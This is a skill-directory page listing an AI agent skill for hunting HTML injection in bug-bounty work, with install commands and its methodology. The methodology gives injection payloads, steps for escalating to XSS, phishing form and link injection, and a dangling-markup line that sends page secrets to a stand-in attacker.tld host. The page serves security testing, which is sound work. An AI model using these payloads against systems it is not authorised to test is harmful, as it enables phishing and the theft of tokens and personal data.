Agent Skillselementalsouls/Claude-BugHunter › hunt-html-injection

hunt-html-injection

GitHub

用于检测HTML注入漏洞,通过向搜索、评论等输入点注入带唯一标识的HTML标签,验证服务端是否未转义直接渲染。适用于测试文本展示表面,区分于XSS,旨在发现UI操纵或钓鱼风险。

skills/hunt-html-injection/SKILL.md elementalsouls/Claude-BugHunter

Trigger Scenarios

用户输入被渲染为原始HTML且未进行转义 需要测试搜索框、个人资料字段或错误消息中的反射型注入

Install

npx skills add elementalsouls/Claude-BugHunter --skill hunt-html-injection -g -y
More Options

Use without installing

npx skills use elementalsouls/Claude-BugHunter@hunt-html-injection

指定 Agent (Claude Code)

npx skills add elementalsouls/Claude-BugHunter --skill hunt-html-injection -a claude-code -g -y

安装 repo 全部 skill

npx skills add elementalsouls/Claude-BugHunter --all -g -y

预览 repo 内 skill

npx skills add elementalsouls/Claude-BugHunter --list

SKILL.md

Frontmatter
{
    "name": "hunt-html-injection",
    "sources": "hackerone_public, public_research",
    "description": "Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss.",
    "report_count": 6
}

What is HTML Injection

HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.

To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.

Impact:

  • Phishing via injected <form> or <a href="attacker.com"> tags
  • UI defacement — <h1>HACKED</h1> renders visually on the page
  • Credential harvesting via injected login forms
  • Redirect via <meta http-equiv="refresh">
  • Stepping stone to XSS (may be blocked by WAF on <script> but not <img onerror>)
  • Dangling-markup exfiltration — even with <script> and event handlers filtered, an unterminated tag can capture page content that follows it. Inject <img src='//attacker.tld/log?html= (no closing quote/>); the browser treats everything up to the next ' as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw < is reflected.
  • Email/notification-context injection — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected <a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.

Attack Surface

Any input that is reflected or stored and then displayed in an HTML context:

  • Search boxes (?q=)
  • Comments, feedback, reviews
  • Profile fields (name, bio, username)
  • Error messages (?error=, ?message=)
  • Subject / body of contact forms
  • Admin-visible fields (ticket titles, usernames in logs)

Autonomous Testing Priority

Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.

Pattern 1 — Basic HTML tag injection:

<b>CANARY</b>
"><b>CANARY</b>

Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets — not &lt;b&gt;CANARY. A properly encoded app would escape < to &lt;.

Try multiple tag types when <b> is filtered:

  • <h1>CANARY</h1> — heading tag (often less filtered)
  • <img src=x onerror=CANARY> — attribute context
  • <a href="https://attacker.com">click</a> — link injection (phishing proof)

For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.

Escalate immediately: if <b> injection works, try <script>alert(1)</script> — the same unsanitised input may allow full XSS.

Proof

Confirmed when your injected tag appears in the response body with literal < angle brackets (not HTML-encoded). A safe app renders &lt;b&gt;CANARY&lt;/b&gt;; a vulnerable app renders <b>CANARY</b>.

Distinguishing HTML Injection from XSS

  • HTML injection: <b>text</b> renders as text in the browser — no JS execution needed.
  • XSS: <script>alert(1)</script> executes JavaScript.

Some WAFs block <script> but pass <b> or <img> — start with non-script tags, then escalate.

Version History

  • 0efc24c Current 2026-09-02 20:56

Same Skill Collection

skills/bb-methodology/SKILL.md
skills/hunt-aspnet/SKILL.md
skills/hunt-cors/SKILL.md
skills/hunt-deserialization/SKILL.md
skills/hunt-dispatch/SKILL.md
skills/hunt-exceptional-conditions/SKILL.md
skills/hunt-graphql/SKILL.md
skills/hunt-idor/SKILL.md
skills/hunt-laravel/SKILL.md
skills/hunt-lfi/SKILL.md
skills/hunt-misc/SKILL.md
skills/hunt-nextjs/SKILL.md
skills/hunt-nodejs/SKILL.md
skills/hunt-nosqli/SKILL.md
skills/hunt-ntlm-info/SKILL.md
skills/hunt-oauth/SKILL.md
skills/hunt-open-redirect/SKILL.md
skills/hunt-rce/SKILL.md
skills/hunt-source-leak/SKILL.md
skills/hunt-springboot/SKILL.md
skills/hunt-websocket/SKILL.md
skills/hunt-xss/SKILL.md
skills/hunt-xxe/SKILL.md
skills/redteam-mindset/SKILL.md
skills/security-arsenal/SKILL.md
skills/triage-validation/SKILL.md
skills/web2-recon/SKILL.md
skills/web3-audit/SKILL.md
skills/apk-redteam-pipeline/SKILL.md
skills/bb-local-toolkit/SKILL.md
skills/bug-bounty/SKILL.md
skills/bugcrowd-reporting/SKILL.md
skills/cloud-iam-deep/SKILL.md
skills/enterprise-vpn-attack/SKILL.md
skills/evidence-hygiene/SKILL.md
skills/hunt-api-misconfig/SKILL.md
skills/hunt-ato/SKILL.md
skills/hunt-auth-bypass/SKILL.md
skills/hunt-brute-force/SKILL.md
skills/hunt-business-logic/SKILL.md
skills/hunt-cache-poison/SKILL.md
skills/hunt-captcha-bypass/SKILL.md
skills/hunt-cicd/SKILL.md
skills/hunt-clickjacking/SKILL.md
skills/hunt-cloud-misconfig/SKILL.md
skills/hunt-csrf/SKILL.md
skills/hunt-dom/SKILL.md
skills/hunt-file-upload/SKILL.md
skills/hunt-fintech-graphql/SKILL.md

Metadata

Files
0
Version
0efc24c
Hash
5fe67c02
Indexed
2026-09-02 20:56

trang chủ - Wiki
Copyright © 2011-2026 iteam. Current version is 2.155.2. UTC+08:00, 2026-09-03 02:12
浙ICP备14020137号-1 $bản đồ khách truy cập$